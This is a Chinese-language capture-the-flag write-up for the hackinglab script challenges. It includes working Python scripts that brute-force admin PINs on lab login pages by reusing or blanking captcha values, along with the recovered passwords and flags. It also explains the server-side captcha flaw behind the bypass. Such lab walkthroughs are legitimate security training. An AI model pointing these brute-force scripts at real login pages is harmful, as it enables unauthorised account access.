hackinglab 指令碼關 writeup
阿新 • • 發佈:2019-01-23
key又又找不到了
先點開通關地址
之後點選這個連結,攔截它的response,可以得到key
快速口算
寫個指令碼就行了。利用正則來提取相關資訊。
import requests
import re
url = 'http://lab1.xseclab.com/xss2_0d557e6d2a4ac08b749b61473a075be1/index.php'
header = {'Cookie': 'PHPSESSID='} #填入自己的cookie
contents = requests.get(url, headers = header).content.decode('utf-8' )
matches = re.search("(.+)=<(input)", contents)
data = {'v': str(eval(matches.group(1)))}
contents = requests.post(url, headers=header, data=data).content.decode('utf-8')
matches = re.search("<body>(.*)</body>", contents)
print(matches.group(1))
這個題目是空的
因為是空,所以答案是
null
怎麼就是不彈出key呢?
檢視網頁原始碼,發現有三個return false。
所以我們把它儲存到本地,刪除這些函式就ok了
逗比驗證碼第一期
我們在第一次正確輸入驗證碼以後,用burpsuite捕捉請求,發現不斷提交,驗證碼是相同的,所以爆破一下就行
import requests
import re
url = 'http://lab1.xseclab.com/vcode1_bcfef7eacf7badc64aaf18844cdb1c46/login.php'
header = {'User-Agent' : 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0' ,
'Accept' : 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Language' : 'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
'Content-Type' : 'application/x-www-form-urlencoded',
'Content-Length' : '48',
'Referer' : 'http://lab1.xseclab.com/vcode1_bcfef7eacf7badc64aaf18844cdb1c46/index.php',
'Cookie': 'PHPSESSID=',
'Connection' : 'close',
'Upgrade-Insecure-Requests' : '1'}
for i in range(9000):
data = {'username' : 'admin', 'pwd' : i + 1000, 'vcode' : 'KF4R', 'submit' : 'submit'}
contents = requests.post(url = url, headers = header, data = data).content.decode('utf-8')
print("%d : %s"%(i + 1000, contents))
密碼是1238
key is LJLJL789sdf#@sd
逗比驗證碼第二期
先提交一次正確的vcode,之後vcode為空就可以繞過去了,爆破方法一樣。
import requests
import re
url = 'http://lab1.xseclab.com/vcode2_a6e6bac0b47c8187b09deb20babc0e85/login.php'
header = {'User-Agent' : 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0',
'Accept' : 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Language' : 'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
'Content-Type' : 'application/x-www-form-urlencoded',
'Content-Length' : '48',
'Referer' : 'http://lab1.xseclab.com/vcode2_a6e6bac0b47c8187b09deb20babc0e85/index.php',
'Cookie': 'PHPSESSID=fb23c47f2950ce28ca86697e0f9884e9',
'Connection' : 'close',
'Upgrade-Insecure-Requests' : '1'}
for i in range(9000):
data = {'username' : 'admin', 'pwd' : i + 1000, 'vcode' : '', 'submit' : 'submit'}
contents = requests.post(url = url, headers = header, data = data).content.decode('utf-8')
print("%d : %s"%(i + 1000, contents))
密碼是1228
key is LJLJL789ss33fasvxcvsdf#@sd
逗比驗證碼第三期
做法一樣,下面引用博主人總閒 關於驗證碼原理的講解
驗證碼釋出的流程
1. 顯示錶單
2. 顯示驗證碼(呼叫生成驗證碼的程式),將驗證碼加密後放進 session 或者 cookie
3. 使用者提交表單
4. 核對驗證碼無誤、資料合法後寫入資料庫完成
使用者如果再發布一條,正常情況下,會再次訪問表單頁面,驗證碼圖片被動更新, session 和 cookie 也就跟著變了
但是灌水機操作不一定非要使用表單頁面,它可以直接模擬 post 向服務端程式傳送資料,這樣驗證碼程式沒有被呼叫,當然 session 和 cookie 儲存的加密驗證碼就是上次的值,也就沒有更新,這樣以後無限次的通過post直接傳送的資料,而不考慮驗證碼,驗證碼形同虛設!
所以,在核對驗證碼後先將 session 和 cookie 的值清空,然後做資料合法性判斷,然後入庫!這樣,一個漏洞就被補上了!
import requests
import re
url = 'http://lab1.xseclab.com/vcode3_9d1ea7ad52ad93c04a837e0808b17097/login.php'
header = {'User-Agent' : 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0',
'Accept' : 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Language' : 'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
'Content-Type' : 'application/x-www-form-urlencoded',
'Content-Length' : '48',
'Referer' : 'http://lab1.xseclab.com/vcode3_9d1ea7ad52ad93c04a837e0808b17097/index.php',
'Cookie': 'PHPSESSID=fb23c47f2950ce28ca86697e0f9884e9',
'Connection' : 'close',
'Upgrade-Insecure-Requests' : '1'}
for i in range(9000):
data = {'username' : 'admin', 'pwd' : i + 1000, 'vcode' : '', 'submit' : 'submit'}
contents = requests.post(url = url, headers = header, data = data).content.decode('utf-8')
print("%d : %s"%(i + 1000, contents))
密碼 1298
key is LJLJLfuckvcodesdf#@sd